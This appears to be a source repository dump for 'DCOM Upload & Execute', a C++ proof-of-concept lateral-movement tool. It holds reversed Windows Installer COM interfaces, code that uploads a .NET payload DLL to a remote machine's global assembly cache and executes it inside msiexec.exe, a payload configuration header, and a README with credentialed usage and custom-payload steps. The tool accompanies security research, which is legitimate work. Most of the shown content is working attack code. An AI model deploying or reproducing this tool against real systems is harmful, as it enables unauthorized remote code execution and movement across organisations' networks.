invalid Action table record data 12 | iesInstallRunning = 8, // another install is in progress 13 | iesNextEnum 14 | } iesEnum; 15 | 16 | enum iseEnum 17 | { 18 | iseInclude = 1, 19 | iseChar = 2, 20 | iseEnd = 4, 21 | iseTrim = 8, 22 | iseFirst = 0, 23 | iseLast = iseEnd, 24 | iseUpto = iseChar, 25 | iseIncluding = iseChar + iseInclude, 26 | iseFrom = iseChar + iseInclude + iseEnd, 27 | iseAfter = iseChar + iseEnd, 28 | iseUptoTrim = iseUpto + iseTrim, 29 | iseAfterTrim = iseAfter + iseTrim, 30 | }; 31 | 32 | enum iscEnum 33 | { 34 | iscExact = 0, 35 | iscExactI = 1, 36 | iscStart = 2, 37 | iscStartI = 3, 38 | iscEnd = 4, 39 | iscEndI = 5, 40 | iscWithin = iscStart + iscEnd, 41 | iscWithinI = iscStart + iscEnd + 1, 42 | }; 43 | 44 | // IMsiMessage::Message return status codes 45 | typedef enum imsEnum 46 | { 47 | imsError = 0x3fff, // unsuccessful 48 | imsNone = 0, // no action taken 49 | imsOk = 1, // IDOK 50 | imsCancel = 2, // IDCANCEL 51 | imsAbort = 3, // IDABORT 52 | imsRetry = 4, // IDRETRY 53 | imsIgnore = 5, // IDIGNORE 54 | imsYes = 6, // IDYES 55 | imsNo = 7, // IDNO 56 | } imsEnum; 57 | 58 | const int imtShiftCount = 24; // message type in high-order bits 59 | const int imtTypeMask = 255 << imtShiftCount; // mask for type code and flags 60 | 61 | enum imtEnum 62 | { 63 | // messages processed by modal dialog and/or log 64 | imtFatalExit = 0 << imtShiftCount, // thread terminated prematurely 65 | imtError = 1 << imtShiftCount, // error message, [1] is imsg/idbg code 66 | imtWarning = 2 << imtShiftCount, // warning message, [1] is imsg/idbg code, not fatal 67 | imtUser = 3 << imtShiftCount, // user request, [1] is imsg/idbg code 68 | imtInfo = 4 << imtShiftCount, // informative message for log, not to be displayed 69 | imtFilesInUse = 5 << imtShiftCount, // list of files in use than need to be processed 70 | imtResolveSource = 6 << imtShiftCount, 71 | imtOutOfDiskSpace = 7 << imtShiftCount, // out of disk space for one or more volumes 72 | // messages processed by modeless progress dialog 73 | imtActionStart = 8 << imtShiftCount, // start of action, [1] action name, [2] description 74 | imtActionData = 9 << imtShiftCount, // data associated with individual action item 75 | imtProgress = 10 << imtShiftCount, // progress gauge info, [1] units so far, [2] total 76 | imtCommonData = 11 << imtShiftCount, // control message to handler [1] is control message type followed by params 77 | // messages processed by message dispatcher, not sent to display or log 78 | imtLoadHandler = 12 << imtShiftCount, // load external UI handler 79 | imtFreeHandler = 13 << imtShiftCount, // free external UI handler 80 | imtShowDialog = 14 << imtShiftCount, // use handler to show dialog or run wizard 81 | imtInternalExit = 15 << imtShiftCount, // private use by MsiUIMessageContext 82 | 83 | // not sent to Message(), strings used for log and UI fields, MUST TRACK imsg values 84 | imtLogHeader = 12 << imtShiftCount, // log header format string, not sent to Message 85 | imtLogTrailer = 13 << imtShiftCount, // log trailer format string, not sent to Message 86 | imtActionStarted = 14 << imtShiftCount, // action started log message 87 | imtActionEnded = 15 << imtShiftCount, // action ended log message 88 | // all preceeding messsages cached by the engine, following ones cached by message handler 89 | imtTimeRemaining = 16 << imtShiftCount, // Time remaining string for basic UI progress dlg 90 | imtOutOfMemory = 17 << imtShiftCount, // out of memory format string, CANNOT CONTAIN PARAMETERS 91 | imtTimedOut = 18 << imtShiftCount, // engine timeout format string, CANNOT CONTAIN PARAMETERS 92 | imtException = 19 << imtShiftCount, // premature termination format string, CANNOT CONTAIN PARAMETERS 93 | imtBannerText = 20 << imtShiftCount, // string displayed in basic UI in the ActionStart field. 94 | imtScriptInProgress = 21 << imtShiftCount, // Info string displayed while script is being built 95 | imtUpgradeRemoveTimeRemaining = 22 << imtShiftCount, // Time remaining string for uninstall during upgrade 96 | imtUpgradeRemoveScriptInProgress = 23 << imtShiftCount, // Info string displayed during script generation for uninstal during upgrade 97 | // message box button styles - identical to Win32 definitions, default is imtOK 98 | imtOk = 0, // MB_OK 99 | imtOkCancel = 1, // MB_OKCANCEL 100 | imtAbortRetryIgnore = 2, // MB_ABORTRETRYIGNORE 101 | imtYesNoCancel = 3, // MB_YESNOCANCEL 102 | imtYesNo = 4, // MB_YESNO 103 | imtRetryCancel = 5, // MB_RETRYCANCEL 104 | // message box icon styles - identical to Win32 definitions, default is none 105 | imtIconError = 1 << 4, // MB_ICONERROR 106 | imtIconQuestion = 2 << 4, // MB_ICONQUESTION 107 | imtIconWarning = 3 << 4, // MB_ICONWARNING 108 | imtIconInfo = 4 << 4, // MB_ICONINFORMATION 109 | // message box default button - identical to Win32 definitions, default is ficat 110 | imtDefault1 = 0 << 8, // MB_DEFBUTTON1 111 | imtDefault2 = 1 << 8, // MB_DEFBUTTON2 112 | imtDefault3 = 2 << 8, // MB_DEFBUTTON3 113 | 114 | // internal flags, not sent to UI handlers 115 | imtSendToEventLog = 1 << 29, 116 | imtForceQuietMessage = 1 << 30, // force message in quiet or basic UI 117 | imtSuppressLog = 1 << 31, // suppress message from log (LOGACTIONS property) 118 | }; 119 | 120 | typedef enum ireEnum // enumeration for 1st arg of CreateAndRunEngine 121 | { 122 | ireProductCode, 123 | irePackagePath, 124 | ireSubStorage, 125 | ireDatabaseHandle, 126 | ireInstallFinalize, 127 | } ireEnum; 128 | 129 | typedef enum iioEnum // various options flags passed to IMsiEngine::Initialize 130 | { 131 | iioUpgrade = 0x00000001, 132 | iioChild = 0x00000002, 133 | iioDisablePlatformValidation = 0x00000004, 134 | iioEndDialog = 0x00000008, 135 | iioCreatingAdvertiseScript = 0x00000010, 136 | iioDisableRollback = 0x00000020, 137 | iioMustAccessInstallerKey = 0x00000040, // Insist that we can access the installer key. 138 | iioReinstallModePackage = 0x00000080, 139 | iioClientEngine = 0x00000100, // Used to indicate that we have a client engine. 140 | iioSimulateX86 = 0x00000200, // ignore current execution platform and use X86, only valid w/ iioCreatingAdvertiseScript 141 | iioSimulateIA64 = 0x00000400, // ignore current execution platform and use IA64, only valid w/ iioCreatingAdvertiseScript 142 | iioRestrictedEngine = 0x00000800, // create a "safe" engine that is not subject to machine state and cannot modify machine state 143 | iioSimulateAMD64 = 0x00001000, // ignore current execution platform and use AMD64, only valid w/iioCreateAdvertiseScript 144 | } iioEnum; 145 | 146 | typedef enum isrcEnum // enumeration for sourcelist type to work with 147 | { 148 | isrcNet = 0, 149 | isrcMedia = 1, 150 | isrcURL = 2, 151 | } isrcEnum; 152 | 153 | typedef enum icacCustomActionContext // enumeration for types of custom action servers 154 | { 155 | icacFirst = 0, 156 | icac32Impersonated = 0, 157 | icac64Impersonated = 1, 158 | icac32Elevated = 2, 159 | icac64Elevated = 3, 160 | icacNext = 4, 161 | } icacCustomActionContext; 162 | 163 | enum idtEnum // using same values as Win32 API 164 | { 165 | idtUnknown = 0, 166 | idtAllDrives = 1, // Input only! 167 | idtRemovable = 2, // DRIVE_REMOVABLE, 168 | idtFloppy = 2, // temporary until floppies and removables are distinguished 169 | idtFixed = 3, // DRIVE_FIXED, 170 | idtRemote = 4, // DRIVE_REMOTE, 171 | idtCDROM = 5, // DRIVE_CDROM, 172 | idtRAMDisk = 6, // DRIVE_RAMDISK, 173 | idtNextEnum, 174 | }; 175 | 176 | enum ifaEnum 177 | { 178 | ifaArchive, 179 | ifaDirectory, 180 | ifaHidden, 181 | ifaNormal, 182 | ifaReadOnly, 183 | ifaSystem, 184 | ifaTemp, 185 | ifaCompressed, 186 | ifaNextEnum, 187 | }; 188 | 189 | enum ipcEnum 190 | { 191 | ipcEqual, 192 | ipcChild, 193 | ipcParent, 194 | ipcNoRelation, 195 | }; 196 | 197 | enum iclEnum 198 | { 199 | iclExistNoFile, 200 | iclExistNoLang, 201 | iclExistSubset, 202 | iclExistEqual, 203 | iclExistIntersect, 204 | iclExistSuperset, 205 | iclExistNullSet, 206 | iclExistLangNeutral, 207 | iclNewLangNeutral, 208 | iclExistLangSetError, 209 | iclNewLangSetError, 210 | iclLangStringError, 211 | }; 212 | 213 | enum icfhEnum 214 | { 215 | icfhNoExistingFile, 216 | icfhMatch, 217 | icfhMismatch, 218 | icfhFileInUseError, 219 | icfhAccessDenied, 220 | icfhHashError, 221 | icfhNextEnum 222 | }; 223 | 224 | enum icfvEnum 225 | { 226 | icfvNoExistingFile, 227 | icfvExistingLower, 228 | icfvExistingEqual, 229 | icfvExistingHigher, 230 | icfvVersStringError, 231 | icfvFileInUseError, 232 | icfvAccessToFileDenied, 233 | icfvNextEnum 234 | }; 235 | 236 | enum ifsEnum 237 | { 238 | ifsAbsent = 0, // There is no currently installed file. 239 | ifsExistingLowerVersion = 1, // The currently installed file has a lower version. 240 | ifsExistingEqualVersion = 3, // The currently installed file has an equal version. 241 | ifsExistingNewerVersion = 5, // The currently installed file has a higher version. 242 | ifsExistingCorrupt = 7, // A checksum test on the currently installed file failed. 243 | ifsExistingAlwaysOverwrite = 9, // An InstallMode flag specified that the currently installed 244 | // file should always be overwritten. 245 | ifsCompanionSyntax = 10, // This file is a companion file - the install state needs to 246 | // determined by the state of it's companion parent. 247 | ifsCompanionExistsSyntax = 11, // This file is a companion file, and an installed version exists. 248 | ifsExistingFileInUse = 13, // Sharing violation prevent determination of version 249 | ifsAccessToFileDenied = 15, // Installer has insufficient privileges to access file 250 | ifsNextEnum 251 | }; 252 | 253 | enum MsiDate {}; // an int containing DosTime and DosDate 254 | enum scEnum // server context g_scServerContext 255 | { 256 | scClient, 257 | scServer, 258 | scService, 259 | scCustomActionServer, 260 | }; -------------------------------------------------------------------------------- /MsiServerControl.cpp: -------------------------------------------------------------------------------- 1 | #include "Includes.h" 2 | #include "PayloadConfig.h" 3 | 4 | GUID CLSID_MsiServer = { 0x000c101c,0x0000,0x0000,{0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46} }; 5 | GUID IID_IMsiSever = CLSID_MsiServer; 6 | GUID IID_IMsiCustomAction = { 0x000c1025,0x0000,0x0000,{0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46} }; // IDB 7 | 8 | // parsed from array at rgCLSID 9 | GUID CLSID_MSIRemoteApi = { 0x000c1035,0x0000,0x0000,{0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46} }; // IDB 10 | 11 | HRESULT MsiUploadExec(IUnknown* pIMsiServerAuthen, COAUTHINFO* pAuthInfo) 12 | { 13 | HMODULE hmsi = LoadLibraryA("msi.dll"); 14 | 15 | IMsiRemoteAPI* pRemApi = reinterpret_cast(ComUtils::CreateObjectFromDllFactory(hmsi, CLSID_MSIRemoteApi)); 16 | const unsigned long fakeRemoteClientPid = 4; // seems like any active pid would do lol 17 | unsigned long outServerPid = 0; 18 | const int cookieSize = 16; 19 | int iRemoteAPICookieSize = cookieSize; 20 | char rgchCookie[cookieSize]; 21 | IMsiCustomAction* pMsiAction = nullptr; 22 | 23 | 24 | WCHAR* pvEnvironment = GetEnvironmentStringsW(); 25 | DWORD cEnv = GetEnvironmentSizeW(pvEnvironment); 26 | 27 | 28 | // IMsiConfigurationManager is the server side implementation of IMsiServer 29 | HRESULT msiresult = reinterpret_cast(pIMsiServerAuthen)->CreateCustomActionServer(icac64Impersonated, fakeRemoteClientPid, pRemApi, pvEnvironment, cEnv, 0, rgchCookie, &iRemoteAPICookieSize, &pMsiAction, &outServerPid, false); 30 | if (!pMsiAction) 31 | { 32 | std::wcout << L"[-] ERROR: 0x" << std::hex << msiresult << L" Calling CreateCustomActionServer. Make sure you are on the same domain/forest with target." << std::endl; 33 | pIMsiServerAuthen->Release(); 34 | return 0; 35 | } 36 | 37 | IMsiCustomAction* authedAction = nullptr; 38 | HRESULT hr = ComUtils::SetupAuthOnParentIUnknownCastToIID(pMsiAction, pAuthInfo, (IUnknown**)&authedAction, IID_IMsiCustomAction); 39 | if(!authedAction) 40 | { 41 | std::wcout << L"[-] ERROR: 0x" << std::hex << hr << L" Setting authentication on created IMsiCustomAction" << std::endl; 42 | pIMsiServerAuthen->Release(); 43 | return -1; 44 | } 45 | 46 | std::wcout << L"[+] Created an authenticated IMsiCustomAction hosted on MSIEXEC.exe - PID " << outServerPid << std::endl; 47 | 48 | char* outc = nullptr; 49 | int outi = 0; 50 | // can be any GUIDs 51 | LPCWSTR mocGuid1 = L"{13333337-1337-1337-1337-133333333337}"; 52 | LPCWSTR mocGuid2 = L"{13333338-1338-1338-1338-133333333338}"; 53 | 54 | 55 | LPCWSTR asmName = ASSEMBLY_NAME; 56 | LPCWSTR asmblyPath = PAYLOAD_ASSEMBLY_PATH; 57 | LPCWSTR asmBitness = ASSEMBLY_BITNESS; 58 | LPCWSTR asmVersion = ASSEMBLY_VERSION; 59 | LPCWSTR publicKeyToken = ASSEMBLY_PUBLIC_KEY; 60 | 61 | hr = authedAction->URTAddAssemblyInstallComponent(mocGuid1, mocGuid2, asmName); 62 | if(FAILED(hr)) 63 | { 64 | std::wcout << L"[-] ERROR: 0x" << std::hex << hr << L" Calling IMsiCustomAction->URTAddAssemblyInstallComponent" << std::endl; 65 | authedAction->Release(); 66 | pIMsiServerAuthen->Release(); 67 | return -1; 68 | } 69 | hr = authedAction->URTGetAssemblyCacheItem(mocGuid1, mocGuid2, 0, &outi, &outc); 70 | if (FAILED(hr)) 71 | { 72 | std::wcout << L"[-] ERROR: 0x" << std::hex << hr << L" Calling IMsiCustomAction->URTGetAssemblyCacheItem" << std::endl; 73 | authedAction->Release(); 74 | pIMsiServerAuthen->Release(); 75 | return -1; 76 | } 77 | hr = authedAction->URTCreateAssemblyFileStream(asmblyPath, STREAM_FORMAT_COMPLIB_MANIFEST); // can only send STREAM_FORMAT_COMPLIB_MODULE or STREAM_FORMAT_COMPLIB_MANIFEST. 78 | if (FAILED(hr)) 79 | { 80 | std::wcout << L"[-] ERROR: 0x" << std::hex << hr << L" Calling IMsiCustomAction->URTCreateAssemblyFileStream" << std::endl; 81 | authedAction->Release(); 82 | pIMsiServerAuthen->Release(); 83 | return -1; 84 | } 85 | 86 | std::wcout << L"[+] Created a remote GAC file stream" << std::endl; 87 | 88 | 89 | HANDLE hAsm = CreateFileW(asmblyPath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 90 | if(!hAsm or hAsm == INVALID_HANDLE_VALUE) 91 | { 92 | std::wcout << L"[-] ERROR: 0x" << std::hex << GetLastError() << L" Opening " << asmblyPath << std::endl; 93 | authedAction->Release(); 94 | pIMsiServerAuthen->Release(); 95 | return -1; 96 | } 97 | DWORD asmSize, sizeRead; 98 | 99 | asmSize = GetFileSize(hAsm, NULL); 100 | if(asmSize == INVALID_FILE_SIZE) 101 | { 102 | std::wcout << L"[-] ERROR: 0x" << std::hex << GetLastError() << L" Running GetFileSize on " << asmblyPath << std::endl; 103 | authedAction->Release(); 104 | pIMsiServerAuthen->Release(); 105 | return -1; 106 | } 107 | 108 | std::unique_ptr content = std::make_unique(asmSize); 109 | 110 | if(!ReadFile(hAsm, content.get(), asmSize, &sizeRead, NULL)) 111 | { 112 | std::wcout << L"[-] ERROR: 0x" << std::hex << GetLastError() << L" Reading " << asmblyPath << std::endl; 113 | authedAction->Release(); 114 | pIMsiServerAuthen->Release(); 115 | return -1; 116 | } 117 | 118 | std::wcout << L"[+] Locally processed " << asmblyPath << std::endl; 119 | 120 | ulong written = 0; 121 | hr = authedAction->URTWriteAssemblyBits(content.get(), asmSize, &written); 122 | if (FAILED(hr)) 123 | { 124 | std::wcout << L"[-] ERROR: 0x" << std::hex << hr << L" Calling IMsiCustomAction->URTWriteAssemblyBits" << std::endl; 125 | authedAction->Release(); 126 | pIMsiServerAuthen->Release(); 127 | return -1; 128 | } 129 | 130 | hr = authedAction->URTCommitAssemblyStream(); 131 | if (FAILED(hr)) 132 | { 133 | std::wcout << L"[-] ERROR: 0x" << std::hex << hr << L" Calling IMsiCustomAction->URTCommitAssemblyStream" << std::endl; 134 | authedAction->Release(); 135 | pIMsiServerAuthen->Release(); 136 | return -1; 137 | } 138 | 139 | int outIntCommit = 0; 140 | char* outCharCommit = nullptr; 141 | hr = authedAction->URTCommitAssemblies(mocGuid1, &outIntCommit, &outCharCommit); 142 | if (FAILED(hr)) 143 | { 144 | std::wcout << L"[-] ERROR: 0x" << std::hex << hr << L" Calling IMsiCustomAction->URTCommitAssemblies" << std::endl; 145 | authedAction->Release(); 146 | pIMsiServerAuthen->Release(); 147 | return -1; 148 | } 149 | std::wstring payload_gac_path = std::format(L"C:\\Windows\\Microsoft.NET\\assembly\\GAC_{0}\\{1}\\v4.0_{2}__{3}\\{1}.dll", asmBitness, asmName, asmVersion, publicKeyToken); 150 | 151 | std::wcout << L"[+] Uploaded " << asmblyPath << L" to the remote GAC path: " << payload_gac_path << std::endl; 152 | 153 | hr = authedAction->LoadEmbeddedDLL(payload_gac_path.c_str(), 0); 154 | if (FAILED(hr)) 155 | { 156 | std::wcout << L"[-] ERROR: 0x" << std::hex << hr << L" Calling IMsiCustomAction->LoadEmbeddedDLL" << std::endl; 157 | authedAction->Release(); 158 | pIMsiServerAuthen->Release(); 159 | return -1; 160 | } 161 | 162 | std::wcout << L"[+] Loaded " << payload_gac_path << L" to the remote MSIEXEC.exe - PID " << outServerPid << std::endl; 163 | 164 | ulong pIntPtr, pRetCode; 165 | std::string messageToVictim = "Hello from DCOM Upload & Execute"; 166 | 167 | hr = authedAction->CallInitDLL(messageToVictim.length(), (PVOID)messageToVictim.c_str(), &pIntPtr, &pRetCode); 168 | 169 | if (FAILED(hr)) 170 | { 171 | std::wcout << L"[-] ERROR: 0x" << std::hex << hr << L" authedAction->CallInitDLL" << std::endl; 172 | authedAction->Release(); 173 | pIMsiServerAuthen->Release(); 174 | return -1; 175 | } 176 | 177 | std::wcout << L"[+] Executed " << payload_gac_path << L"'s InitializeEmbeddedUI export" << std::endl; 178 | std::wcout << L"[+] InitializeEmbeddedUI returned: " << pRetCode << std::endl; 179 | 180 | authedAction->Release(); 181 | pIMsiServerAuthen->Release(); 182 | return 1; 183 | } 184 | -------------------------------------------------------------------------------- /PayloadConfig.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "Windows.h" 3 | 4 | // Values are set to the default AssemblyPayload payload.dll 5 | // configure those according to your custom payloads 6 | 7 | constexpr LPCWSTR PAYLOAD_ASSEMBLY_PATH = L"payload.dll"; // local path to your STRONG NAMED .NET assembly payload 8 | constexpr LPCWSTR ASSEMBLY_NAME = L"payload"; // set to your assembly name 9 | constexpr LPCWSTR ASSEMBLY_BITNESS = L"64"; // set to 64 or 32 for x64 or x86 10 | constexpr LPCWSTR ASSEMBLY_VERSION = L"1.0.0.0"; // sigcheck.exe -n PAYLOAD_ASSEMBLY_PATH 11 | constexpr LPCWSTR ASSEMBLY_PUBLIC_KEY = L"136e5fbf23bb401e"; // sn.exe -T PAYLOAD_ASSEMBLY_PATH 12 | 13 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | # DCOM Upload & Execute 3 | 4 | 5 | 6 | DCOM Lateral movement POC abusing the IMsiServer interface 7 | 8 | https://www.deepinstinct.com/blog/forget-psexec-dcom-upload-execute-backdoor 9 | 10 | The solution contains 2 projects 11 | 12 | 13 | 14 | - **DCOMUploadExec** - A C++ project which hosts the lateral movement attack code 15 | 16 | - **AssemblyPayload** - A .NET DLL that pops a MessageBox. It is the default payload **DCOMUploadExec** uses 17 | 18 | 19 | 20 | ## Basic Usage 21 | 22 | 23 | 24 | Compile the solution 25 | 26 | `Usage: DCOMUploadExec.exe [domain]\[user]:[password]@[address]` 27 | 28 | `Local Usage: DCOMUploadExec.exe LOCALHOST (Run this as administrator)` 29 | 30 | 31 | 32 | DCOMUploadExec.exe will: 33 | 34 | - Upload the default payload DLL, **AssemblyPayload**, to the remote PC 35 | 36 | - Load the DLL to a remote MSIEXEC.exe process 37 | 38 | - Execute an export from the DLL 39 | 40 | - Receive a result from the export 41 | 42 | 43 | 44 | ## Payload Configuration 45 | 46 | 47 | 48 | The payload must be a [strong-named](https://learn.microsoft.com/en-us/dotnet/standard/assembly/strong-named) .NET assembly 49 | 50 | 51 | 52 | **PayloadConfig.h** is used to configure the payload **DCOMUploadExec** will use. 53 | 54 | It is defaulted to the output of **AssemblyPayload**. 55 | 56 | 57 | 58 | In order to use a custom payload: 59 | 60 | 1. create a [strong-named](https://learn.microsoft.com/en-us/dotnet/standard/assembly/strong-named) .NET assembly that exports a function named *InitializeEmbeddedUI* - this will be the function that **DCOMUploadExec** will eventually execute on the remote target 61 | 62 | 63 | 64 | 2. Fill your custom payload's details in **PayloadConfig.h**: 65 | 66 | 67 | 68 | - PAYLOAD_ASSEMBLY_PATH = // local path to your created payload 69 | 70 | 71 | 72 | - ASSEMBLY_NAME = // the assembly name 73 | 74 | 75 | 76 | - ASSEMBLY_BITNESS = // "64" for an x64 payload, "32" for x86 payload; 77 | 78 | 79 | 80 | - ASSEMBLY_VERSION = // the value from `sigcheck.exe -n 81 | PAYLOAD_ASSEMBLY_PATH` 82 | 83 | - ASSEMBLY_PUBLIC_KEY = // [the value 84 | from](https://learn.microsoft.com/en-us/dotnet/framework/tools/sn-exe-strong-name-tool) 85 | `sn.exe -T PAYLOAD_ASSEMBLY_PATH` 86 | 3. Compile **DCOMUploadExec** and use it 87 | 88 | 89 | 90 | ## Limitations 91 | 92 | 93 | 94 | 1. The attacker and victim machines must be in the same domain or forest. 95 | 96 | 97 | 98 | 2. The attacker and victim machines must be consistent with the [DCOM Hardening patch](https://support.microsoft.com/en-us/topic/kb5004442-manage-changes-for-windows-dcom-server-security-feature-bypass-cve-2021-26414-f1400b52-c141-43d2-941e-37ed901c769c) - either with the patch applied on both systems or absent on both. 99 | 100 | 3. The assembly payload must have a [strong-name](https://learn.microsoft.com/en-us/dotnet/standard/assembly/strong-named). 101 | 102 | 4. The assembly payload must be either x86 or x64 (Can't be AnyCPU). 103 | 104 | 105 | 106 | 107 | ## Credits 108 | 109 | 110 | 111 | 112 | * [Eliran Nissan](https://x.com/eliran_nissan) -------------------------------------------------------------------------------- /ReversedMsi.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | #include "Includes.h" 5 | #include "MsiEnums.h" 6 | 7 | 8 | extern GUID CLSID_MsiServer; 9 | extern GUID IID_IMsiSever; 10 | extern GUID IID_IMsiCustomAction; 11 | extern GUID CLSID_MSIRemoteApi; 12 | 13 | typedef wchar_t ICHAR; 14 | typedef ICHAR ichar; 15 | typedef USHORT ushort; 16 | typedef ULONG ulong; 17 | typedef UCHAR uchar; 18 | typedef BOOL Bool; 19 | 20 | 21 | typedef PVOID IMsiRemoteAPI; 22 | typedef PVOID IMsiRecord; 23 | typedef PVOID IMsiMessage; 24 | 25 | 26 | struct IMsiCustomAction : IUnknown 27 | { 28 | virtual HRESULT PrepareDLLCustomAction(const ICHAR* szActionName, 29 | const ICHAR* szPath, 30 | const ICHAR* szEntryPoint, 31 | unsigned long hmsi, 32 | boolean fDebugBreak, 33 | boolean fAppCompat, 34 | const GUID* pguidAppCompatDB, 35 | const GUID* pguidAppCompatID, 36 | DWORD* dwThreadId)=0; 37 | virtual HRESULT RunDLLCustomAction(DWORD dwThreadId, unsigned long* pulRet) = 0; 38 | virtual HRESULT FinishDLLCustomAction( DWORD dwThreadId) = 0; 39 | virtual HRESULT RunScriptAction( int icaType, IDispatch* piEngine, const ICHAR* szSource, // described in tongzx/nt5src/Source/XPSP1/NT/admin/darwin/src/engine/camgr.cpp line 352 40 | const ICHAR* szTarget, LANGID iLangId, int* iScriptResult, int* pcb, 41 | char** pchRecord) = 0; 42 | virtual HRESULT QueryPathOfRegTypeLib( REFGUID guid, unsigned short wVerMajor, unsigned short wVerMinor, 43 | LCID lcid, OLECHAR* lpszPathName, int cchPath) = 0; 44 | virtual HRESULT ProcessTypeLibrary(const OLECHAR* szLibID, LCID lcidLocale, 45 | const OLECHAR* szTypeLib, const OLECHAR* szHelpPath, 46 | int fRemove, int* fInfoMismatch) = 0; 47 | virtual HRESULT SQLInstallDriverEx(int cDrvLen, const ichar* szDriver, 48 | const ichar* szPathIn, 49 | ichar* szPathOut, WORD cbPathOutMax, 50 | WORD* pcbPathOut, WORD fRequest, DWORD* pdwUsageCount) = 0; 51 | virtual HRESULT SQLConfigDriver( WORD fRequest, 52 | const ichar* szDriver, 53 | const ichar* szArgs, 54 | ichar* szMsg, WORD cbMsgMax, 55 | WORD* pcbMsgOut) = 0; 56 | virtual HRESULT SQLRemoveDriver( const ichar* szDriver, int fRemoveDSN, 57 | DWORD* pdwUsageCount) = 0; 58 | virtual HRESULT SQLInstallTranslatorEx(int cTransLen, const ichar* szTranslator, 59 | const ichar* szPathIn, 60 | ichar* szPathOut, WORD cbPathOutMax, 61 | WORD* pcbPathOut, WORD fRequest, DWORD* pdwUsageCount) = 0; 62 | virtual HRESULT SQLRemoveTranslator( const ichar* szTranslator, DWORD* pdwUsageCount) = 0; 63 | virtual HRESULT SQLConfigDataSource( WORD fRequest, 64 | const ichar* szDriver, 65 | const ichar* szAttributes, 66 | DWORD cbAttrSize) = 0; 67 | virtual HRESULT SQLInstallDriverManager( ichar* szPath, 68 | WORD cbPathMax, WORD* pcbPathOut) = 0; 69 | virtual HRESULT SQLRemoveDriverManager( DWORD* pdwUsageCount) = 0; 70 | virtual HRESULT SQLInstallerError( WORD iError, DWORD* pfErrorCode, 71 | ichar* szErrorMsg, WORD cbErrorMsgMax, 72 | WORD* pcbErrorMsg) = 0; 73 | 74 | virtual HRESULT URTMakeFusionFullPath(ushort const*, ushort*, ulong, int*) = 0; 75 | virtual HRESULT URTCarryingNDP(int) = 0; 76 | virtual HRESULT URTUnloadFusionBinaries() = 0; 77 | virtual HRESULT URTAddAssemblyInstallComponent(wchar_t const* UserDefinedGuid1, wchar_t const* UserDefinedGuid2, wchar_t const* UserDefinedName) = 0; 78 | virtual HRESULT URTIsAssemblyInstalled(ushort const*, ushort const*, int*, int*, char**) = 0; 79 | virtual HRESULT URTProvideGlobalAssembly(wchar_t const* AsmName, DWORD InstallMode, wchar_t* AsmPath) = 0; 80 | virtual HRESULT URTCommitAssemblies(wchar_t const* UserDefinedGuid1, int* pInt, char** pStr) = 0; 81 | virtual HRESULT URTUninstallAssembly(ushort const*, ushort const*, int*, char**) = 0; 82 | virtual HRESULT URTGetAssemblyCacheItem(wchar_t const* UserDefinedGuid1, wchar_t const* UserDefinedGuid2, ulong zeroed, int* pInt, char** pStr) = 0; 83 | virtual HRESULT URTCreateAssemblyFileStream(wchar_t const* FileName, int Format) = 0; 84 | virtual HRESULT URTWriteAssemblyBits(const char* pv, ulong cb, ulong* pcbWritten) = 0; 85 | virtual HRESULT URTCommitAssemblyStream() = 0; 86 | virtual HRESULT URTGetFusionPath(ushort const*, int, ushort*, ulong, ulong*, ushort*, ulong, int*) = 0; 87 | virtual HRESULT URTAreAssembliesEqual(ushort const*, ushort const*, int*, int*, char**) = 0; 88 | virtual HRESULT URTQueryAssembly(ICHAR const*, ushort const*, ulong, int*, char**) = 0; 89 | virtual HRESULT LoadEmbeddedDLL(ichar const* path, bool debug) = 0; // changed uchar to bool 90 | virtual HRESULT CallInitDLL(ulong intVar, PVOID pVar, ulong* pInt, ulong* pExportReturnCode) = 0; 91 | virtual HRESULT CallMessageDLL(UINT, ulong, ulong*) = 0; 92 | virtual HRESULT CallShutdownDLL(ulong*) = 0; 93 | virtual HRESULT UnloadEmbeddedDLL() = 0; 94 | virtual HRESULT SetNewClientProcess(ulong, IMsiRemoteAPI*) = 0; 95 | // more methods exist 96 | 97 | }; 98 | 99 | struct IMsiConfigurationManager : IUnknown 100 | { 101 | virtual iesEnum InstallFinalize( iesEnum iesState, void* riMessage, boolean fUserChangedDuringInstall) = 0; 102 | virtual IMsiRecord* SetLastUsedSource( const ICHAR* szProductCode, const wchar_t* szPath, boolean fAddToList, boolean fPatch) = 0; 103 | virtual boolean Reboot() = 0; 104 | virtual int DoInstall( ireEnum ireProductCode, const ICHAR* szProduct, const ICHAR* szAction, 105 | const ICHAR* szCommandLine, const ICHAR* szLogFile, 106 | int iLogMode, boolean fFlushEachLine, IMsiMessage* riMessage, iioEnum iioOptions , ULONG, HWND__*, IMsiRecord* ) = 0; 107 | 108 | virtual HRESULT IsServiceInstalling() = 0; 109 | virtual IMsiRecord* RegisterUser( const ICHAR* szProductCode, const ICHAR* szUserName,const ICHAR* szCompany, const ICHAR* szProductID) = 0; 110 | virtual IMsiRecord* RemoveRunOnceEntry( const ICHAR* szEntry) = 0; 111 | virtual boolean CleanupTempPackages( IMsiMessage& riMessage, bool flag) = 0; 112 | virtual HRESULT SourceListClearByType(const ICHAR* szProductCode, const ICHAR*, isrcEnum isrcType) = 0; 113 | virtual HRESULT SourceListAddSource( const ICHAR* szProductCode, const ICHAR* szUserName, isrcEnum isrcType,const ICHAR* szSource) = 0 ; 114 | virtual HRESULT SourceListClearLastUsed( const ICHAR* szProductCode, const ICHAR* szUserName) = 0; 115 | virtual HRESULT RegisterCustomActionServer( icacCustomActionContext* picacContext, const unsigned char* rgchCookie, const int cbCookie, IMsiCustomAction* piCustomAction, unsigned long* dwProcessId, IMsiRemoteAPI** piRemoteAPI, DWORD* dwPrivileges) = 0; 116 | 117 | virtual HRESULT CreateCustomActionServer( const icacCustomActionContext icacContext, const unsigned long dwProcessId, IMsiRemoteAPI* piRemoteAPI, 118 | const WCHAR* pvEnvironment, DWORD cchEnvironment, DWORD dwPrivileges, char* rgchCookie, int* cbCookie, IMsiCustomAction** piCustomAction, unsigned long* dwServerProcessId, bool unkFalse) = 0; 119 | }; -------------------------------------------------------------------------------- /Utils.cpp: -------------------------------------------------------------------------------- 1 | #include "Utils.h" 2 | 3 | bool parseArgument(const std::wstring& arg, std::wstring& 